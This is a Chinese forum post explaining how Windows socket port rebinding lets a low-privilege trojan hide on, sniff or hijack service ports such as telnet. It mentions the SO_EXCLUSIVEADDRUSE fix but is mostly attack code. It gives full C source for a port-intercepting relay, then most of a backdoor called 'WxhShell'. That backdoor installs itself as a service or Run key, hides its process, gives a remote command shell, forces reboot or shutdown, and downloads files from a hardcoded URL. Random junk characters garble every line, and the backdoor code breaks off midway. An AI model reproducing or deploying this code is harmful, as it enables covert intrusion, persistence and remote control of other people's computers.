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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S@]7   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bHE'R!*  
^Cb7R/R3  
  saddr.sin_family = AF_INET; %0T/>:1[E  
$,"{g<*k;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3`_jNPV1  
bf2R15|t5`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xExy?5H7  
-dbD&8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NfcY30}:  
% INRds  
  这意味着什么?意味着可以进行如下的攻击:  b<v\  
) ?rJKr[`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ao)hb4ex  
1L1_x'tT%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FrD.{(/~  
f 'aQ T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ']^e,9=Q  
G|FF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jq(3y|6,  
CBdS gHA3>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7 y}b (q=  
k+S+ : 5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -a(f-  
Jhu<^pjs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m)9N9Ii#)  
rZ<0ks  
  #include F4X/ )$Dk  
  #include 'TpW-r:  
  #include l!e8=QlJ  
  #include    l=*^FK]L`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |sz`w^#  
  int main() Ib.`2@ o&  
  { 'JY*K:-  
  WORD wVersionRequested; U I|L;5  
  DWORD ret; D.xN_NK"  
  WSADATA wsaData; _ b}\h,Ky  
  BOOL val; 9PhdoREb  
  SOCKADDR_IN saddr; @<Au|l`  
  SOCKADDR_IN scaddr; Ls#pe  
  int err; i.2O~30ST  
  SOCKET s; ~L Gkc t  
  SOCKET sc; ElAJR4'{*i  
  int caddsize; adtK$@Yeg  
  HANDLE mt; cAC2Xq  
  DWORD tid;   eU_|.2  
  wVersionRequested = MAKEWORD( 2, 2 ); R-]QU`c  
  err = WSAStartup( wVersionRequested, &wsaData ); _H@s^g  
  if ( err != 0 ) { dj4 g  
  printf("error!WSAStartup failed!\n"); {;^boo q  
  return -1; ^qqP):0y1V  
  } RGYky3mQK  
  saddr.sin_family = AF_INET; HRi~TZ?\  
   $+Ke$fq.>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E (tdL,m'  
`*PVFm>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6u/3"A]'  
  saddr.sin_port = htons(23); x^_Wfkch]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wqBGJ   
  { =BY)>0?z  
  printf("error!socket failed!\n"); B5Rmz&  
  return -1; )xCpQ=nS  
  } ]3hz{zqV^  
  val = TRUE; I=&5mg=m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >bxT_qEm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D.)$\Caq  
  { G;615p1  
  printf("error!setsockopt failed!\n"); nS[0g^}  
  return -1; ZmO/6_nU?  
  } ?6Cbx6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M]!\X6<_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {r.#R| 4v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LfyycC2E  
!;lA+O-t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >4GhI65  
  { 7>xxur&  
  ret=GetLastError(); |DfYH~@(  
  printf("error!bind failed!\n"); ,^O**k9F  
  return -1; `m<l8'g  
  } Cca( oV  
  listen(s,2); N J:]jd  
  while(1) k#`.!yI,  
  { O]w&uim  
  caddsize = sizeof(scaddr); W5}.WFu  
  //接受连接请求 jEklf0Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hbR;zV|US  
  if(sc!=INVALID_SOCKET) qfE/,L(B  
  { %^^2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZA>hN3fE'  
  if(mt==NULL) "m})~va  
  { y% uUA]c*m  
  printf("Thread Creat Failed!\n"); @Qd6a:-6  
  break; Z<En3^j`  
  } Jjik~[<q:  
  } 2j-|.l c  
  CloseHandle(mt); ] =b?^'  
  } :Y y+%  
  closesocket(s); B:ddlxT $  
  WSACleanup(); bj(U?$  
  return 0; eJE?H]  
  }   2f`u?T  
  DWORD WINAPI ClientThread(LPVOID lpParam) gm8L5c V  
  { BMU~1[r  
  SOCKET ss = (SOCKET)lpParam; ~FH''}3:3  
  SOCKET sc; X55Eemg/  
  unsigned char buf[4096]; `j[)iok  
  SOCKADDR_IN saddr; v"O{5LM"  
  long num; _]1dm)%  
  DWORD val; 8^p/?R^bu  
  DWORD ret; ^SxB b,\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eznw05U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8U\;N  
  saddr.sin_family = AF_INET; u%a2"G|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0@,,YZ f  
  saddr.sin_port = htons(23); X"J79?5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ts0.Ck  
  { wke$  
  printf("error!socket failed!\n"); :::"C"Ge  
  return -1; wED~^[]f  
  } s7O?)f f  
  val = 100; 9NaC7D$,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u)&6;A4  
  { 5'\/gvxIC  
  ret = GetLastError(); v;el= D  
  return -1; INW8Q`[F  
  } ,f$A5RN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qz{:m  
  { !fwLC"QC  
  ret = GetLastError(); Xo(K*eIN  
  return -1; 6 )0$UW  
  } )Be}Ev#)Zx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IyOujdKa  
  { ?Z( 6..&  
  printf("error!socket connect failed!\n"); -}2q-  
  closesocket(sc); [sFD-2y  
  closesocket(ss); ZNFn^iuQ  
  return -1; \`{ YqOT  
  } >~TLgq*  
  while(1) BI;in;Ln  
  { ]. 1[H~5N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 + R])u5c'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4xT(Uj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PQ@(p%   
  num = recv(ss,buf,4096,0); [rU8%  
  if(num>0) $&n!j'C:  
  send(sc,buf,num,0); I6YN&9Y  
  else if(num==0) 93)&  
  break; Da_g3z  
  num = recv(sc,buf,4096,0); 0%k`* 8  
  if(num>0) ..'^1IOA  
  send(ss,buf,num,0); ~?E x?!\9R  
  else if(num==0) jFw?Ky2  
  break; M ,e_=aq  
  } 1P3^il7  
  closesocket(ss); W: cOzJ  
  closesocket(sc); zjM+F{P8  
  return 0 ; O9p8x2  
  } /V46:`V  
cc.z C3Hs3  
m]=|%a6  
========================================================== vhTte |(  
ocAoqjlT[  
下边附上一个代码,,WXhSHELL d '4c?vC  
a[xEN7L~4D  
========================================================== YX18!OhQ  
v)d\ 5#7  
#include "stdafx.h" ,S:g 5n>M  
Jmf&&)p  
#include <stdio.h> TaG'?  
#include <string.h> 3@KX|-  
#include <windows.h> @4T+0&OI10  
#include <winsock2.h> vxZvK0b620  
#include <winsvc.h> m-5Dbx!j  
#include <urlmon.h> 6Ei>VcN4a  
E >KV1P  
#pragma comment (lib, "Ws2_32.lib") IBQmm(+v  
#pragma comment (lib, "urlmon.lib") Ts|&_|  
B:&/*HU  
#define MAX_USER   100 // 最大客户端连接数 H;G*tje/M  
#define BUF_SOCK   200 // sock buffer 5=., a5  
#define KEY_BUFF   255 // 输入 buffer C \H%4p1r  
N#6&t8;kTC  
#define REBOOT     0   // 重启 u(\b1h n  
#define SHUTDOWN   1   // 关机 J ;i/X;^  
1 ;4TA}'H  
#define DEF_PORT   5000 // 监听端口 &( b\jyf  
|mc!v*O  
#define REG_LEN     16   // 注册表键长度 n$ axqvG  
#define SVC_LEN     80   // NT服务名长度 y2TJDb1  
j Bl I^  
// 从dll定义API +g/y)]AP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i.)k V B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jf|J":S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F[l{pc "C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SH<Nt[8C  
#QXB2x<*  
// wxhshell配置信息 Nf}G "!  
struct WSCFG { &f|LjpMCf  
  int ws_port;         // 监听端口 kZ[E493bV  
  char ws_passstr[REG_LEN]; // 口令 v5;c} n  
  int ws_autoins;       // 安装标记, 1=yes 0=no )<UNiC   
  char ws_regname[REG_LEN]; // 注册表键名 c9=;:E  
  char ws_svcname[REG_LEN]; // 服务名 p3\F1](Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e#0R9+"Ba  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /$%apci8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]}w ~fjq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {Tm31f(oD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ](aXZ<,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DdN{=}A  
0%cbno@1V  
}; `CUTb*{`  
}RO Cj,|  
// default Wxhshell configuration [_^K}\/+  
struct WSCFG wscfg={DEF_PORT, ,~hvFTJI  
    "xuhuanlingzhe", &+xNR2";  
    1, p4fU/  
    "Wxhshell", K!).QB'  
    "Wxhshell", H .JA)*b-  
            "WxhShell Service", ,&Gn7[<  
    "Wrsky Windows CmdShell Service", }{n[_:[7  
    "Please Input Your Password: ", <JuP+\JAm  
  1, DKPX_::  
  "http://www.wrsky.com/wxhshell.exe", ~Z=Q+'Hu0  
  "Wxhshell.exe" "S,,BjL  
    }; AcwLs%'sx  
VEkv JX.  
// 消息定义模块 Ww{bh -nyq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p[!&D}&6h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mcP]k8?C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >KNiMW^V  
char *msg_ws_ext="\n\rExit."; ;*BG{rkr  
char *msg_ws_end="\n\rQuit."; 5hr$tkk L  
char *msg_ws_boot="\n\rReboot..."; 9G[!"eZ}  
char *msg_ws_poff="\n\rShutdown..."; 0>6J -   
char *msg_ws_down="\n\rSave to "; (OLjE]9;  
k-Hy>5;  
char *msg_ws_err="\n\rErr!"; etMQy6E\  
char *msg_ws_ok="\n\rOK!"; t3}>5cAxy  
Rp^k D ,*  
char ExeFile[MAX_PATH]; 2`9e20  
int nUser = 0; _K<H*R  
HANDLE handles[MAX_USER]; W;4rhZEgd  
int OsIsNt; }R=n!Y$F  
c$Z3P%aP'V  
SERVICE_STATUS       serviceStatus; b(Zh$86  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fa//~$#"{L  
6ey{+8  
// 函数声明 l ~b# Y&  
int Install(void); ?NOc]'<(G  
int Uninstall(void); -|bnvPmE  
int DownloadFile(char *sURL, SOCKET wsh); M4w,J2_8MK  
int Boot(int flag); F{WV}o=MY  
void HideProc(void); <wfPbzs-V  
int GetOsVer(void);  l+HmG< P  
int Wxhshell(SOCKET wsl); +DmfqKKbd  
void TalkWithClient(void *cs); v*iD)k:|t  
int CmdShell(SOCKET sock); 3k(A&]~v  
int StartFromService(void); 3q:U0&F  
int StartWxhshell(LPSTR lpCmdLine); Q'5]E{1<'n  
O`j1~o<{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lp.dF)C\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "Rr)1x7  
w<#/ngI2  
// 数据结构和表定义 !w2J*E\  
SERVICE_TABLE_ENTRY DispatchTable[] = Q"7vzri  
{ Y&!-VW  
{wscfg.ws_svcname, NTServiceMain}, MKPxF@N(  
{NULL, NULL} |L[/]@|  
}; {k*rD!tT  
^ >JAl<k  
// 自我安装 8JYU1E w  
int Install(void) :d}I`)&  
{ \e+h">`WgX  
  char svExeFile[MAX_PATH]; /*Iq,"kGz  
  HKEY key; c|RTP  
  strcpy(svExeFile,ExeFile); Of0(.-Q w  
x7J8z\b"O  
// 如果是win9x系统,修改注册表设为自启动 ##!idcC  
if(!OsIsNt) { N iw~0"-V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r&+8\/{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +i^@QNOa  
  RegCloseKey(key); cZC%W!pT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5QN~^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3w!8PPl  
  RegCloseKey(key); 'tvX.aX2  
  return 0; cQ}3? v  
    } xKl\:}Ytp  
  } AK$&'t+$}7  
} *ThP->&:(  
else { 4FQB%3>*  
*Tc lc u  
// 如果是NT以上系统,安装为系统服务 NW_i<#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0RFBun{  
if (schSCManager!=0) $-Iui0h  
{ D8X~qt/  
  SC_HANDLE schService = CreateService ^G(U@-0..  
  ( =d`w~iC  
  schSCManager, MTXh-9DA  
  wscfg.ws_svcname, ^E~F,]dV=  
  wscfg.ws_svcdisp, =EFCd=i  
  SERVICE_ALL_ACCESS, o-I:p$B-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &~=FX e0S  
  SERVICE_AUTO_START, _cvA1Q"  
  SERVICE_ERROR_NORMAL, tVQq,_9C  
  svExeFile, jRiXN %  
  NULL, #No3}O;"g  
  NULL, XM1; >#kz  
  NULL, x994B@\j+  
  NULL, &?g!)O  
  NULL $Mg[e*ct  
  ); E<RPMd @a  
  if (schService!=0) fofYe0z  
  { ,="hI:*<  
  CloseServiceHandle(schService); {ooztC   
  CloseServiceHandle(schSCManager); FD'yT8]"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cl04fqX  
  strcat(svExeFile,wscfg.ws_svcname); gcF:/@:Rm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Upw`|$1S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0\zY?UUww  
  RegCloseKey(key); )DB\du   
  return 0; BTc }Kfae  
    } 9*Q6/?v  
  } |xawguJ  
  CloseServiceHandle(schSCManager); )_n=it$  
} &cGa~#-u  
} |PtfG2Ty?  
%lq[,6?>5  
return 1; [s4|+  
} tn{YIp   
:a/l9 m(  
// 自我卸载 O NVhB  
int Uninstall(void) y%Rq6P=4Q  
{ Ie4\d2tQ;  
  HKEY key; `%A vn<  
]A%]W^G  
if(!OsIsNt) { fn#qcZv?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mUj_V#v  
  RegDeleteValue(key,wscfg.ws_regname); PctXh, =  
  RegCloseKey(key); "7q!u,u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P{,A%t  
  RegDeleteValue(key,wscfg.ws_regname); E)%D LZ  
  RegCloseKey(key); +pPfvE`  
  return 0; ee/3=/H|;  
  } `^ZhxFX  
} Gg e X  
} z~"Q_gme  
else { 5G2G<[p5oQ  
j*\oK@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 40%fOu,u`  
if (schSCManager!=0) [*C%u_h  
{  WD55(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /:tzSKq}  
  if (schService!=0) fUMjLA|*I<  
  { }W)b  
  if(DeleteService(schService)!=0) { f$76p!pDa  
  CloseServiceHandle(schService); Vy=P*  
  CloseServiceHandle(schSCManager); 3n,jrX75u  
  return 0; FI,K 0sO/|  
  } jB<B_"  
  CloseServiceHandle(schService); oN2#Jh%dH  
  } xkCM*5:  
  CloseServiceHandle(schSCManager); /!?b&N/d)  
} cJerYRjsL  
} r]@T9\9  
!(Ymc_s  
return 1; L{&>,ww  
} S B~opN  
zLgc j(;  
// 从指定url下载文件  !2kM  
int DownloadFile(char *sURL, SOCKET wsh) %QG3~b% h  
{  zo1T`"Y  
  HRESULT hr; DIABR%0  
char seps[]= "/"; _@i-?Q  
char *token; *I!R0;HT  
char *file; yAAV,?:o[  
char myURL[MAX_PATH]; #+QJ5VI :  
char myFILE[MAX_PATH]; Sg$\H  
Atb`Q'Yrw  
strcpy(myURL,sURL); 0cSm^a  
  token=strtok(myURL,seps); *^%+PQ  
  while(token!=NULL) ~5&B#Sm[G  
  { i}:hmy'  
    file=token; L[ZS17 ;*  
  token=strtok(NULL,seps); +m]-)  
  } pV(k6h  
Z^]jy>dj  
GetCurrentDirectory(MAX_PATH,myFILE); 'z^'+}iyv  
strcat(myFILE, "\\"); Ypl;jkHP  
strcat(myFILE, file); ^^&H:q  
  send(wsh,myFILE,strlen(myFILE),0);  LtH j  
send(wsh,"...",3,0); r95 ,X!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T ay226  
  if(hr==S_OK) Auc&dpW  
return 0; 'Kk/ J+6U  
else >;XtJJS  
return 1; [ :)F-  
CuK>1_Dq  
} Fm=jgt3wv8  
ia3Q1 9r  
// 系统电源模块 :1Nc6G  
int Boot(int flag) etT9}RbQ  
{ \?oT.z5VG&  
  HANDLE hToken; k;jl3GV  
  TOKEN_PRIVILEGES tkp; yKuZJXGVo  
'$Z@oCY#  
  if(OsIsNt) { sZ~03QvkT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |||m5(`S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^mjU3q{;  
    tkp.PrivilegeCount = 1; @Co6$<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7TEpjSuF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @`)>- k  
if(flag==REBOOT) { gm pY[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `*[\b9>  
  return 0; Y# I8gzv  
} yZ{N$ch5b  
else { p:4-b"O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? A;RTM  
  return 0;  ZB |s/  
} B8eZ}9X  
  } ZV:df 6S  
  else { ~"0{<mMcX  
if(flag==REBOOT) { Op8Gj  `  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fPHV]8Ft|  
  return 0; 0<:rp]<,  
} P5h*RV>oS  
else { vs$h&o>|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qLN\>Z,3;  
  return 0; h^_^)P+;  
} hSxK*.W*3  
} Iila|,cM  
eI:x4K,#  
return 1; %TRJ  
} C$ K?4$  
J~xm[^0  
// win9x进程隐藏模块 `q\F C[W  
void HideProc(void) /k ?l%AH  
{  H{yBD xw  
"!(@MfjT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lz6CK  
  if ( hKernel != NULL ) bDIhI}P  
  { yUf`L=C:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b$0;fEvIJn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q!3-P  
    FreeLibrary(hKernel); /s%-c!o^  
  } )X," NJG  
k>Fw2!mA^  
return; *z6A ~U  
} U+#^>}wc  
4"Qb^y  
// 获取操作系统版本 Yr~wsE/  
int GetOsVer(void) JL!^R_b&c  
{ \D' mo  
  OSVERSIONINFO winfo; </ "Wh4>C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^wc:qll  
  GetVersionEx(&winfo); @=P c{xp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v FQ]>n X  
  return 1; .SmG)5U]  
  else 88<d<)7t  
  return 0; {X2uFw Gi  
} @aN~97 H\  
k"%JyO8Y  
// 客户端句柄模块 Nt]nwae>A  
int Wxhshell(SOCKET wsl) ^t71${w##  
{ ctHQZ#.[(  
  SOCKET wsh; uPbdzUk$  
  struct sockaddr_in client; Jw}&[  
  DWORD myID; fQ"Vx!  
0}`.Z03fy  
  while(nUser<MAX_USER) j~S=kYrGM  
{ g"Hl 30o  
  int nSize=sizeof(client); 3?<A]"X.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p5OoDo  
  if(wsh==INVALID_SOCKET) return 1; `Ix`/k}  
K@DFu5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |OAiHSW"V  
if(handles[nUser]==0) BMQ4i&kF|  
  closesocket(wsh); ~N}Zr$D  
else 4,W,E4 7  
  nUser++; J!RRG~  
  } }@jJv||  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qhG2j;  
mJd8?d  
  return 0; %-$ :/ N  
} 5M9o(Z\AF  
kG9aH Ww  
// 关闭 socket >EA\KrjW  
void CloseIt(SOCKET wsh) tUZfQ  
{ G9xO>Xp^Al  
closesocket(wsh); ZwY mR=  
nUser--; yK9EHJ$  
ExitThread(0); E_$nsM8?  
} K$GQc"  
a%a0/!U[  
// 客户端请求句柄 b;*'j9ly  
void TalkWithClient(void *cs) <Piq?&VX[  
{ ZybfqBTD&c  
Wl=yxJu_(  
  SOCKET wsh=(SOCKET)cs; TG8U=9qt  
  char pwd[SVC_LEN]; vfj{j= G  
  char cmd[KEY_BUFF]; <h+@;/v:  
char chr[1]; jA2%kX\6//  
int i,j; tI^[|@,  
pRxVsOb  
  while (nUser < MAX_USER) { ~*\ *8U@7  
"Xwsu8~  
if(wscfg.ws_passstr) { G(shZ=fq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3G 5xIr6   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (RrC<5"  
  //ZeroMemory(pwd,KEY_BUFF); D+ .vg?8  
      i=0; 5]CaWFSmT  
  while(i<SVC_LEN) { 3LJ\y  
?G7*^y&Q  
  // 设置超时 @c"s6h&  
  fd_set FdRead; eHGx00:  
  struct timeval TimeOut; :5&UWL|  
  FD_ZERO(&FdRead); \+/ciPzA-  
  FD_SET(wsh,&FdRead); thX4-'i  
  TimeOut.tv_sec=8; `'P&={p8  
  TimeOut.tv_usec=0; (nBh6u*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "X!1^)W -8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UUbO\_&y  
t>LSP$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~#VDJ[Z  
  pwd=chr[0]; O[L#|_BnEO  
  if(chr[0]==0xd || chr[0]==0xa) { HE_UHv  
  pwd=0; (E,[Ad,$  
  break; Unq~lt%2  
  } nFI<Te^)  
  i++; t5i58@{~  
    } %[~g84@  
l_9ZzN  
  // 如果是非法用户,关闭 socket &Qj1uf92.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ma(Q~G .  
} 91yYR*  
`HYj:4v'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2?:OsA}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (d,O Lng  
8yDsl  
while(1) { So~QZ%YA  
Jy "\_Vv l  
  ZeroMemory(cmd,KEY_BUFF); 20haA0s  
t;PG  
      // 自动支持客户端 telnet标准   8'qlg|{!~  
  j=0; j"pyK@v2B  
  while(j<KEY_BUFF) { 5! +{JTXa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ieWXr4@:  
  cmd[j]=chr[0]; UA]T7r@  
  if(chr[0]==0xa || chr[0]==0xd) { 1=9GV+`n  
  cmd[j]=0; CK|AXz+EN  
  break; VG$;ri>  
  } r| \""  
  j++; YSfJUB!I  
    } +eKLwM  
+R;LHRS%  
  // 下载文件 *:un+k  
  if(strstr(cmd,"http://")) { *<[\|L:#]Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UQYHR+  
  if(DownloadFile(cmd,wsh)) *V+,X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pStb j`Eq  
  else ?|}qT05  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d ( ru5*p  
  } ;l0%yg/}  
  else { (Jj xrZ+L  
9` VY)"rJ  
    switch(cmd[0]) { :9x]5;ma  
  i-p,x0th  
  // 帮助 f w)tWJVD  
  case '?': { ]c|JxgU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cH|J  
    break; 7i02M~*uS  
  } '^7UcgugB  
  // 安装 '"LaaTTs  
  case 'i': { hcYqiM@8>  
    if(Install()) d1t_o2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +7 j/.R  
    else Lc]hwMGR*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dN:^RCFzS  
    break; fk1d iB  
    } MYz!zI  
  // 卸载 Buq(L6P9r  
  case 'r': { EKN<KnU%  
    if(Uninstall()) 1;{nU.If  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k 7@:e$7  
    else ~q/~ u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qz2jV  
    break; jeA2y jAC  
    } C{G=Y[?oc  
  // 显示 wxhshell 所在路径 -{z[.v.p  
  case 'p': { =JP Y{'VO  
    char svExeFile[MAX_PATH]; on5\rY<I:@  
    strcpy(svExeFile,"\n\r"); {9j0k`A  
      strcat(svExeFile,ExeFile); x5;D'Y t"|  
        send(wsh,svExeFile,strlen(svExeFile),0); Q?([#  
    break; R*k;4*1u  
    } a0B%x!y^  
  // 重启 4@mJEi{  
  case 'b': { Ik A~+6UY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W>&*.3{v  
    if(Boot(REBOOT)) g1y@z8Z{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;<+Z}d/g9  
    else { 4R8Qn^  
    closesocket(wsh); Ic&YiATj  
    ExitThread(0); H+gB|  
    } T-7( 3#&  
    break; k{lXK\zN  
    } 3KkJQ5a  
  // 关机 R `ob;>[Q  
  case 'd': { /S^>06{-+  
